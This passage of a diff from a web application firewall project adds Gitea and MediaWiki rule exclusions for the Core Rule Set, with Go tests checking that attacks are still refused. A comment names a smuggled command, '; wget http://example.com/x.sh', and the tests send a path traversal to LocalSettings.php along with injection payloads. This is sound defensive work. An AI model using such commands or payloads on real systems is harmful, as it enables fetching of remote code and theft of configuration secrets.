ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
@@ -35,41 +80,46 @@
# 944100: java.lang.Runtime
# 944110: java.lang.Runtime
# 944130: java.lang.Runtime
# gitea has no owner named api. A repository's search, issues, pull requests and
# commit search with that owner get none of this. /api/v2/search, for example,
# is Mastodon's search.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
"id:900600,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of one of those searches has the search's
# address in Referer, which skips these rules then:
@@ -155,8 +205,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. The fourth change already has
# path and redirect_to skip 930120, 932160 and 932260 on every path.
# Each request skips the rules that refused it. Rule 900591 already has path and
# redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -281,3 +331,5 @@ SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
SecMarker END_GITEA
+223
View File
@@ -0,0 +1,223 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
# paths are matched at the site root and under /w/.
#
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
# with a page title, in the query or after the path:
# /index.php?title=Main_Page
# /index.php/Main_Page, where a wiki without short URLs serves its pages
# Pages under /wiki/ need neither.
#
# Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history
# search: /index.php?search=python3&title=Special:Search
# target: /wiki/Special:WhatLinksHere?target=Python3+notes
# page, user: /wiki/Special:Log?user=Admin&page=Python3+notes
# username: /wiki/Special:ListUsers?username=python3
# from, to: /wiki/Special:AllPages?from=python3
# prefix: /wiki/Special:PrefixIndex?prefix=python3
# returnto, returntoquery: /wiki/Special:UserLogin?returnto=Python3_notes
# ilsearch: /wiki/Special:ListFiles?ilsearch=python3
# filename: /wiki/Special:FileDuplicateSearch?filename=Pic+python3.png
# wpDestFile: /wiki/Special:Upload?wpDestFile=Pic+python3.png
# wpTarget: /wiki/Special:BlockList?wpTarget=Python3, and blocking or
# unblocking the user Python3
# Uploaded files' names skip 932180, as on the API below.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900900,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The API's searches, titles, names and file names, in the query or the body:
# search: /api.php?action=opensearch&search=python3
# srsearch, pssearch: /api.php?action=query&list=search&srsearch=python3
# titles, title, page: /api.php?action=parse&page=Python3+notes
# from, to: moving a page, from=Python3+notes&to=Ls+-la+notes
# apfrom, apto, apprefix: /api.php?action=query&list=allpages&apfrom=python3
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
# gbltitle, geuquery: the same fields from a generator,
# /api.php?action=query&generator=allpages&gapprefix=python3
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
# user: blocking, unblocking or changing the groups of a user, user=Python3
# summary, sectiontitle: saving a page, summary=Notes+on+python3
# filename, comment: uploading a file, filename=Api+python3.png
# reason: moving or deleting a page, reason=python3
# lgname, lgpassword, username, password: signing in, password=python3
# Uploaded files' names skip 932180, which refused uploading
# "Api .htaccess.png" as a server's own file. Coraza keeps these names without
# the field each came in. MediaWiki refuses a file whose extension it does not
# allow.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900901,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The search box's suggestions and the search through the REST API:
# /rest.php/v1/search/title?q=python3.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900902,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The names of the scripts and styles a page loads, which 930120 read as a
# system file: /load.php?modules=jquery,moment,oojs,...|mediawiki.storage.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?load\.php$" \
"id:900903,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:modules"
# The fields below are in bodies, and skip the four rules there:
# wpSummary: saving a page, "Notes on python3, ls -la and .htaccess"
# wpUploadDescription: uploading a file
# wpName, wpPassword: signing in
# wpOldTitle, wpNewTitleMain, wpReason: moving a page to "Python3 notes"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900910,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a
# table and code blocks with a shell script, an SQL query and JavaScript, so
# they skip those fields: 930120, 932120, 932125, 932160, 932230, 932235,
# 932250, 932260, 941180, 941390, 942190 and 942270.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900911,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTextbox1 "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932125;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932160;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941180;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941390;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942190;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942270;ARGS:wpTextbox1"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900912,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:text|appendtext|prependtext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942270;ARGS:/^(?:text|appendtext|prependtext)$/"
# A REST API client saving a page sends its wikitext in source, which skips
# the rules above, and its summary in comment, which skips the four rules.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900913,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:source|comment)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.source,\
ctl:ruleRemoveTargetById=932160;ARGS:json.source,\
ctl:ruleRemoveTargetById=932230;ARGS:json.source,\
ctl:ruleRemoveTargetById=932235;ARGS:json.source,\
ctl:ruleRemoveTargetById=941180;ARGS:json.source,\
ctl:ruleRemoveTargetById=941390;ARGS:json.source,\
ctl:ruleRemoveTargetById=942190;ARGS:json.source,\
ctl:ruleRemoveTargetById=942270;ARGS:json.source"
# The reasons on the admin pages are in bodies. They skip only 930120 and
# 932120, which refused "Spamming links to .htaccess guides" and the same with
# powershell:
# wpReason-other: blocking a user
# user-reason: changing a user's groups
# mwProtect-reason: protecting a page
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900914,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
# line. Watchlists holding "Lighthouse notes" and then one of these titles
# were refused:
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
# refused. A watchlist that mixes a title holding one of these with a title
# starting with a command name is refused too.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900915,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
+474
View File
@@ -0,0 +1,474 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
// mediawikiAPI is MediaWiki's API.
const mediawikiAPI = "/api.php"
// mediawikiRESTPage is a page in MediaWiki's REST API.
const mediawikiRESTPage = "/rest.php/v1/page/Example"
// mediawikiUpload is MediaWiki's upload page.
const mediawikiUpload = "/wiki/Special:Upload"
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
// to.
const mediawikiBlock = "/wiki/Special:Block"
// mediawikiProtect is the address MediaWiki's form for protecting a page
// posts to.
const mediawikiProtect = "/index.php?title=Example&action=protect"
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
// URLs posts its sign-in and upload forms.
const (
mediawikiSignInPage = "/index.php/Special:UserLogin"
mediawikiUploadPage = "/index.php/Special:Upload"
)
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", atDefaults(t), readingBodies(t))
}
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
func TestHostnameListingMediaWikiLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
// The requests were recorded on example.com.
apps := map[string][]string{"example.com": {mediawiki}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "mediawiki-requests.txt", servingApps(t, apps), bodies)
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
// path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
"/index.php?title=",
"/index.php?title=Special:Search&search=",
"/wiki/Special:WhatLinksHere?target=",
"/wiki/Special:Log?page=",
"/wiki/Special:Log?user=",
"/wiki/Special:ListUsers?username=",
"/wiki/Special:AllPages?from=",
"/wiki/Special:AllPages?to=",
"/wiki/Special:PrefixIndex?prefix=",
mediawikiSignIn + "&returnto=",
mediawikiSignIn + "&returntoquery=",
"/wiki/Special:ListFiles?ilsearch=",
"/wiki/Special:FileDuplicateSearch?filename=",
mediawikiUpload + "?wpDestFile=",
"/wiki/Special:BlockList?wpTarget=",
"/index.php?title=Special:BlockList&wpTarget=",
"/w/index.php?title=Special:Search&search=",
"/index.php/Special:AllPages?from=",
"/w/index.php/Special:Search?search=",
"/api.php?action=opensearch&search=",
"/api.php?action=query&list=search&srsearch=",
"/api.php?action=query&list=prefixsearch&pssearch=",
"/api.php?action=query&generator=prefixsearch&gpssearch=",
"/api.php?action=query&generator=search&gsrsearch=",
"/api.php?action=query&titles=",
"/api.php?action=parse&page=",
"/api.php?action=query&list=allpages&apfrom=",
"/api.php?action=query&list=allpages&apto=",
"/api.php?action=query&list=allpages&apprefix=",
"/api.php?action=query&generator=allpages&gapfrom=",
"/api.php?action=query&generator=allpages&gapto=",
"/api.php?action=query&generator=allpages&gapprefix=",
"/api.php?action=query&generator=allimages&gaifrom=",
"/api.php?action=query&generator=allimages&gaiprefix=",
"/api.php?action=query&list=allimages&aifrom=",
"/api.php?action=query&list=allimages&aiprefix=",
"/api.php?action=query&list=allusers&aufrom=",
"/api.php?action=query&list=allusers&auprefix=",
"/api.php?action=query&list=backlinks&bltitle=",
"/api.php?action=query&generator=backlinks&gbltitle=",
"/api.php?action=query&list=exturlusage&euquery=",
"/api.php?action=query&generator=exturlusage&geuquery=",
"/api.php?action=query&list=logevents&letitle=",
"/api.php?action=query&list=usercontribs&ucuser=",
"/api.php?action=query&list=blocks&bkusers=",
"/w/api.php?action=opensearch&search=",
"/rest.php/v1/search/title?q=",
"/rest.php/v1/search/page?q=",
}
// mediawikiAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiAttacks = []string{
sqlInjection,
"..%2F..%2FLocalSettings.php",
scriptInjection,
}
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/index.php?id=", "/load.php?modules="},
mediawikiQueryFields...)
for _, attack := range mediawikiAttacks {
for _, target := range targets {
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
// mediawikiBodyField is a field of a form data body, sent to a path.
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
// a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiEdit, "wpSummary="},
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiSignIn, "wpPassword="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
{mediawikiAPI, "from="},
{mediawikiAPI, "to="},
{mediawikiAPI, "summary="},
{mediawikiAPI, "sectiontitle="},
{mediawikiAPI, "filename="},
{mediawikiAPI, "comment="},
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="},
{mediawikiAPI, "password="},
}
// mediawikiReasonFields are the reasons on the admin pages, which skip only
// 930120 and 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiReasonFields = []mediawikiBodyField{
{mediawikiBlock, "wpReason-other="},
{"/index.php/Special:UserRights", "user-reason="},
{mediawikiProtect, "mwProtect-reason="},
}
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
// list of titles in, one per line.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mediawikiWatchlist = mediawikiBodyField{
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
}
// mediawikiWikitextFields are the form data fields that hold wikitext.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiWikitextFields = []mediawikiBodyField{
{mediawikiEdit, "wpTextbox1="},
{mediawikiAPI, "text="},
{mediawikiAPI, "appendtext="},
{mediawikiAPI, "prependtext="},
}
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
for _, attack := range mediawikiAttacks {
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{"source", "comment"} {
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
}
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
